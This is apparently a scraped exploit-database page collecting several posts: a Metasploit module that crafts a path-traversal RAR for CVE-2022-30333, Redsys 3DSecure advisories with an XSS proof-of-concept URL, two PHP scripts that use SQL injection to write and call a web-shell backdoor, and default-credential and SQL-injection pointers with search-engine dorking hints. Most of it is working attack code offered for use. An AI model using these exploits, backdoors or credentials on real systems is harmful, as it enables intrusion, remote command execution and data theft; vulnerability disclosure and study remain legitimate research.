Latest exploits :: CodePwn

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Format::RarSymlinkPathTraversal def initialize(info = {}) super( update_info( info, 'Name' => 'UnRAR Path Traversal (CVE-2022-30333)', 'Description' => %q{ This module creates a RAR file that exploits CVE-2022-30333, which is a path-traversal vulnerability in unRAR that can extract an arbitrary file to an arbitrary location on a Linux system. UnRAR fixed this vulnerability in version 6.12 (open source version 6.1.7). The core issue is that when a symbolic link is unRAR'ed, Windows symbolic links are not properly validated on Linux systems and can therefore write a symbolic link that points anywhere on the filesystem. If a second file in the archive has the same name, it will be written to the symbolic link path. }, 'Author' => [ 'Simon Scannell', # Discovery / initial disclosure (via Sonar) 'Ron Bowes', # Analysis, PoC, and module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-30333'], ['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'], ['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'], ['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'], ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Generic RAR file', {} ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2022-06-28', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [] } ) ) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']), OptString.new('CUSTOM_PAYLOAD', [ false, 'A custom payload to encode' ]), OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../" - as well as a filename).']), OptString.new('SYMLINK_FILENAME', [ true, 'The name of the symlink file to use (must be 12 characters or less; default: random)', Rex::Text.rand_text_alpha_lower(4..12)]) ] ) end def exploit print_status("Target filename: #{datastore['TARGET_PATH']}") if datastore['CUSTOM_PAYLOAD'].present? print_status("Encoding custom payload file: #{datastore['CUSTOM_PAYLOAD']}") payload_data = File.binread(datastore['CUSTOM_PAYLOAD']) # Append a newline + NUL byte, since random data will be appended and we # don't want to break shellscripts payload_data.concat("\n\0") else print_status('Encoding configured payload') payload_data = generate_payload_exe end begin rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'], datastore['TARGET_PATH'], payload_data) rescue StandardError => e fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}") end file_create(rar) end end </code></pre>

<pre><code>Product: 3DSecure 2.0 Manufacturer: Redsys Affected Version(s): 3DSecure 2.0 3DS Authorization Method Tested Version(s): 3DSecure 2.0 3DS Authorization Method Vulnerability Type: Cross-Site Request Forgery (CSRF) Risk Level: Medium Solution Status: Not yet fixed Manufacturer Notification: 2024-01-17 Solution Date: N/A Public Disclosure: 2024-09-17 CVE Reference: CVE-2024-25286 Overview: A Cross-Site Request Forgery (CSRF) vulnerability was identified in the Authorization Method of 3DSecure 2.0, allowing attackers to submit unauthorized form data by modifying the HTTP Origin and Referer headers. Vulnerability Details: By altering the Origin and Referer headers, attackers can trick the server into processing unauthorized transactions. Solution: No solution is currently available. Redsys has been notified. References: OWASP Web Security Testing Guide: CSRF Discoverer: Reported by Rubén López Herrera ________________________________ Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción. The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it. Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição </code></pre>

<pre><code>Product: 3DSecure 2.0 Manufacturer: Redsys Affected Version(s): 3DSecure 2.0 3DS Method Authentication Tested Version(s): 3DSecure 2.0 3DS Method Authentication Vulnerability Type: Cross-Site Scripting (XSS) Risk Level: Medium Solution Status: Not yet fixed Manufacturer Notification: 2024-01-17 Solution Date: N/A Public Disclosure: 2024-09-17 CVE Reference: CVE-2024-25285 Overview: 3DSecure 2.0 is vulnerable to form action hijacking via the threeDSMethodNotificationURL parameter. This flaw allows attackers to change the destination website for form submissions, enabling data theft. Vulnerability Details: The threeDSMethodNotificationURL parameter is vulnerable to modification, allowing attackers to redirect form submissions to malicious destinations. Proof of Concept (PoC): By modifying the threeDSMethodNotificationURL parameter in a POST request, an attacker can change the form's action URL. Example: https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88ze Solution: No solution is currently available. Redsys has been notified. References: OWASP Web Security Testing Guide: Form Action Hijacking Discoverer: Reported by Rubén López Herrera ________________________________ Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción. The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it. Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição </code></pre>

<pre><code>Product: 3DSecure 2.0 Manufacturer: Redsys Affected Version(s): 3DSecure 2.0 3DS Authorization Method Tested Version(s): 3DSecure 2.0 3DS Authorization Method Vulnerability Type: Cross-Site Scripting (XSS) Risk Level: Medium Solution Status: Not yet fixed Manufacturer Notification: 2024-01-17 Solution Date: N/A Public Disclosure: 2024-09-17 CVE Reference: CVE-2024-25284 Overview: Multiple reflected Cross-Site Scripting (XSS) vulnerabilities in the 3DS Authorization Method of 3DSecure 2.0 allow attackers to inject arbitrary web scripts via the threeDSMethodData parameter. Vulnerability Details: The threeDSMethodData parameter is not sanitized before being processed, allowing attackers to inject scripts by concatenating code or modifying the base64-encoded information. Proof of Concept (PoC): An attacker can manipulate the threeDSMethodData parameter in the request URL to inject malicious code. Example: https://sis-d.redsys.es/sis-simulador-web/threeDsMethod.jsp?threeDSMethodData=eyJ0aHJlZURTTWV0aG9kTm90aWZpY2F0aW9uVVJMIjoiaHR0cHM6Ly9hdHRhY2tlci5jb20iLCJ0aHJlZURTU2VydmVyVHJhbnNJRCI6IjM5NDA4Mzk2LTdjY2MtNGU4YS04NjU2LThmMTZlNmNlMDQ5OCJ9%3d%3dld4ga%22%3e%3cscript%3ealert(1)%3c%2fscript%3epsoojei88ze Solution: No solution is currently available. Redsys has been notified of the issue. References: OWASP Web Security Testing Guide: Reflected Cross-Site Scripting Discoverer: Reported by Rubén López Herrera ________________________________ Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción. The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it. Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição </code></pre>

<pre><code>Product: 3DSecure 2.0 Manufacturer: Redsys Affected Version(s): 3DSecure 2.0 3DS Authorization Challenge Tested Version(s): 3DSecure 2.0 3DS Authorization Challenge Vulnerability Type: Cross-Site Scripting (XSS) Risk Level: Medium Solution Status: Not yet fixed Manufacturer Notification: 2024-01-17 Solution Date: N/A Public Disclosure: 2024-09-17 CVE Reference: CVE-2024-25283 Overview: Multiple reflected Cross-Site Scripting (XSS) vulnerabilities exist in the 3DS Authorization Challenge of 3DSecure 2.0. These flaws allow attackers to inject arbitrary web scripts, CSS, or HTML through the manipulation of the params parameter in the request URL. Vulnerability Details: The params parameter in the 3DS Authorization Challenge is vulnerable to code injection. This flaw occurs because the value entered into the parameter is not sanitized, allowing attackers to create new HTML elements in the DOM and execute malicious code in the victim's browser. Proof of Concept (PoC): An attacker can alter the base64-encoded params parameter in the request URL to inject arbitrary code. Example: https://[REDACTED]/[REDACTED]/rest/online/[REDACTED]/redirect?action=challenge&txn=[REDACTED]&params=[REDACTED]" References: OWASP Web Security Testing Guide: Reflected Cross-Site Scripting Discoverer: Reported by Rubén López Herrera ________________________________ Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción. The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it. Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição </code></pre>

<pre><code>============================================================================================================================================= | # Title : Nipah virus (NiV) – Testing Management System 1.0 php code injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) | | # Vendor : https://phpgurukul.com/nipah-virus-niv-testing-management-system-using-php-and-mysql/ | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] This payload inject php code contains a back door. [+] Line 16 + 19 Set your Target. [+] save payload as poc.php [+] usage from cmd : C:\www\test>php 1.php [+] payload : <?php // المكتبات المطلوبة function send_request($url, $data) { $options = [ 'http' => [ 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data), ] ]; $context = stream_context_create($options); return file_get_contents($url, false, $context); } // تحديد URL ثابت $url = 'http://localhost/nipah-tms/'; // مسار ثابت لرفع الملف $path = 'C:\www\nipah-tms\uploaded.php'; $path = str_replace("\\", "\\\\", $path); // حمولة الباب الخلفي $backdoor_payload = '<?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'; // إرسال ملف PHP يحتوي على الباب الخلفي $payload = [ 'username' => "admin' union select '" . addslashes($backdoor_payload) . "' into outfile '" . $path . "' -- 'a", 'password' => 'test', 'login' => '' ]; send_request($url . "/login.php", $payload); echo "[+] PHP backdoor uploaded successfully at $path\n"; // تنفيذ ملف PHP المرفوع واختبار الباب الخلفي $response = file_get_contents($url . "uploaded.php?cmd=whoami"); echo "[+] Response from the backdoor (executing 'whoami'): \n$response\n"; ?> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>==================================================================================================================================== | # Title : Medical Card Generations System 1.0 Sql injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) | | # Vendor : https://phpgurukul.com/medical-card-generation-system-using-php-and-mysql/ | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] use payload : view-card-detail.php?viewid=1 <==== inject here [+] http://127.0.0.1/mcgs/view-card-detail.php?viewid=1 Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>

<pre><code>==================================================================================================================================== | # Title : Maid Hiring Management System 1.0 Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) | | # Vendor : https://phpgurukul.com/maid-hiring-management-system-using-php-and-mysql/ | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Insecure Settings : appears to leave a default administrative account in place post installation. [+] use payload : Username: admin Password: Test@123 [+] http://127.0.0.1/mhms/admin/dashboard.php Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>

<pre><code>============================================================================================================================================= | # Title : Emergency Ambulance Hiring Portal 1.0 php code injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) | | # Vendor : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/ | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] This payload inject php code contains a back door. [+] Line 16 + 19 Set your Target. [+] save payload as poc.php [+] usage from cmd : C:\www\test>php 1.php [+] payload : <?php // المكتبات المطلوبة function send_request($url, $data) { $options = [ 'http' => [ 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data), ] ]; $context = stream_context_create($options); return file_get_contents($url, false, $context); } // تحديد URL ثابت $url = 'http://localhost/eahp/'; // مسار ثابت لرفع الملف $path = 'C:\www\eahp\uploaded.php'; $path = str_replace("\\", "\\\\", $path); // حمولة الباب الخلفي $backdoor_payload = '<?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'; // إرسال ملف PHP يحتوي على الباب الخلفي $payload = [ 'username' => "admin' union select '" . addslashes($backdoor_payload) . "' into outfile '" . $path . "' -- 'a", 'password' => 'test', 'login' => '' ]; send_request($url . "/admin/login.php", $payload); echo "[+] PHP backdoor uploaded successfully at $path\n"; // تنفيذ ملف PHP المرفوع واختبار الباب الخلفي $response = file_get_contents($url . "uploaded.php?cmd=whoami"); echo "[+] Response from the backdoor (executing 'whoami'): \n$response\n"; ?> Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ========================================================================== </code></pre>

<pre><code>==================================================================================================================================== | # Title : Doctor Appointment Management System 1.0 Insecure Settings Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) | | # Vendor : https://phpgurukul.com/doctor-appointment-management-system-using-php-and-mysql/ | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Insecure Settings : appears to leave a default administrative account in place post installation. [+] use payload : Username: anu@gmail.com Password: Test@123 [+] http://127.0.0.1/dams/doctor/dashboard.php Greetings to :================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R | ================================================================ </code></pre>